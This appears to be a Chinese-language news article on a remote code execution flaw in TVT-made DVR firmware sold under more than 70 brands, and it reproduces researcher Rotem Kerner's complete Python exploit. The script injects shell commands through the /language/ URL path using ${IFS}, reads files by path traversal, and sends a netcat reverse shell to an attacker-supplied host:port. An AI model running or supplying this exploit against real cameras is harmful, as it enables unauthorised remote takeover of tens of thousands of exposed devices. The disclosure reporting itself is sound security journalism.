黑掉70多款監(jiān)控?cái)z像頭?so easy!
近日,一位安全研究員發(fā)現(xiàn)70多個(gè)供應(yīng)商售賣的監(jiān)控?cái)z像頭很容易受到遠(yuǎn)程代碼執(zhí)行(RCE)攻擊。
根據(jù)安全研究員Rotem Kemer研究發(fā)現(xiàn),超過70個(gè)供應(yīng)商售賣的監(jiān)控?cái)z像頭都很容喲受到遠(yuǎn)程代碼執(zhí)行(RCE)攻擊。
研究人員注意到供應(yīng)商正在售賣的商品使用的是同樣的、易受到RCE攻擊的固件。
在“白色標(biāo)簽”的經(jīng)營模式下,各種各樣的供應(yīng)商只是簡單地將自己的標(biāo)簽貼在相同的產(chǎn)品上進(jìn)行售賣,但是不幸的是,他們都沒有開發(fā)軟件硬件的資格。
這個(gè)脆弱的固件是由一家中國制造商TVT開發(fā)的,Kerner分析之后發(fā)現(xiàn)了閉路電視系統(tǒng)的DVR盒易于攻擊的原因。
使用這種固件的產(chǎn)品是在一家銷售閉路電視系統(tǒng)的以色列公司購買的,其代碼也表明了這是一個(gè)脆弱的HTTP服務(wù)器。
安全漏洞依賴于服務(wù)器來檢查是否存在給定語言的目錄。如果該文件夾不存在,軟件會(huì)通過提取遠(yuǎn)程命令來執(zhí)行打開口令。
下面是研究人員的解釋:
它會(huì)讀取URL,如果URL包含以下的內(nèi)容/language/[language]/index.html 。
如果該目錄存在的話,就會(huì)提取斜杠之間的【language】內(nèi)容并且進(jìn)行檢查;如果不存在,就會(huì)直接執(zhí)行此命令
tar –zxf mtd/WebSites/language.tar.gz [language]/* -C /nfsdir/language
這基本上就是給了我們一個(gè)遠(yuǎn)程命令執(zhí)行的機(jī)會(huì)。
下面是影響固件漏洞的概念證明代碼:
- #!/usr/bin/python
- # http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html
- __author__ = 'Rotem Kerner'
- from sys import argv
- import optparse
- from urlparse import urlparse
- from re import compile
- import socket
- import requests
- from requests.exceptions import ConnectionError, Timeout, ContentDecodingError
- from socket import timeout
- def main():
- # parse command line options and atguments
- optparseoptparser = optparse.OptionParser(usage="%s <target-url> [options]" % argv[0])
- optparser.add_option('-c','--check',action="store_true",dest="checkvuln", default=False,
- help="Check if target is vulnerable")
- optparser.add_option('-e','--exploit', action="store", type="string", dest="connback",
- help="Fire the exploit against the given target URL")
- (options, args) = optparser.parse_args()
- try:
- target = args[0]
- except IndexError:
- optparser.print_help()
- exit()
- target_url = urlparse(target)
- # validating hostname
- if not target_url.hostname:
- print "[X] supplied target "%s" is not a valid URL" % target
- optparser.print_help()
- exit()
- # A little hack to handle read timeouts, since urllib2 doesnt give us this functionality.
- socket.setdefaulttimeout(10)
- # is -c flag on check if target url is vulnrable.
- if options.checkvuln is True:
- print "[!] Checking if target "%s" is vulnable..." % target_url.netloc
- try:
- # Write file
- raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}1>test&&tar${IFS}/string.js'
- % (target_url.scheme, target_url.netloc))
- # Read the file.
- response = raw_url_request('%s:/%s/../../../../../../../mnt/mtd/test' % (target_url.scheme, target_url.netloc))
- # remove it..
- raw_url_request('%s://%s/language/Swedish${IFS}&&rm${IFS}test&&tar${IFS}/string.js'
- % (target_url.scheme, target_url.netloc))
- except (ConnectionError, Timeout, timeout) as e:
- print "[X] Unable to connect. reason: %s. exiting..." % e.message
- return
- if response.text[0] != '1':
- print "[X] Expected response content first char to be '1' got %s. exiting..." % response.text
- return
- print "[V] Target "%s" is vulnerable!" % target_url.netloc
- # if -e is on then fire exploit,
- if options.connback is not None:
- # Validate connect-back information.
- pattern = compile('(?P<host>[a-zA-Z0-9.-]+):(?P<port>[0-9]+)')
- match = pattern.search(options.connback)
- if not match:
- print "[X] given connect back "%s" should be in the format for host:port" % options.connback
- optparser.print_help()
- exit()
- # fire remote code execution!
- # Three ..
- try:
- raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}nc${IFS}%s${IFS}%s${IFS}>e&&${IFS}/a'
- % (target_url.scheme, target_url.netloc, match.group('host'), match.group('port')))
- # Two ...
- raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}"-e${IFS}$SHELL${IFS}">>e&&${IFS}/a'
- % (target_url.scheme, target_url.netloc))
- # One. Left off!
- raw_url_request('%s://%s/language/Swedish&&$(cat${IFS}e)${IFS}&>r&&${IFS}/s'
- % (target_url.scheme, target_url.netloc))
- except (ConnectionError, Timeout, timeout) as e:
- print "[X] Unable to connect reason: %s. exiting..." % e.message
- print "[V] Exploit payload sent!, if nothing went wrong we should be getting a reversed remote shell at %s:%s"
- % (match.group('host'), match.group('port'))
- # Disabling URL encode hack
- def raw_url_request(url):
- r = requests.Request('GET')
- r.url = url
- rr = r.prepare()
- # set url without encoding
- r.url = url
- s = requests.Session()
- return s.send(r)
- if __name__ == '__main__':
- main()
他注意到目前來說有數(shù)以萬計(jì)的產(chǎn)品在使用這種HTTP服務(wù)器。他是在查詢了Shodan搜索引擎之后做出的這樣的肯定判斷,而沒在這種搜索引擎中的產(chǎn)品可能數(shù)量更多。
研究者說,“快速查詢Shodan之后發(fā)現(xiàn)其分布超過三萬;這已經(jīng)很多了,但是我相信這還只是一小部分。”
Kerner試圖向最初的制造商TVT報(bào)告這個(gè)問題,但是沒有受到任何回復(fù)。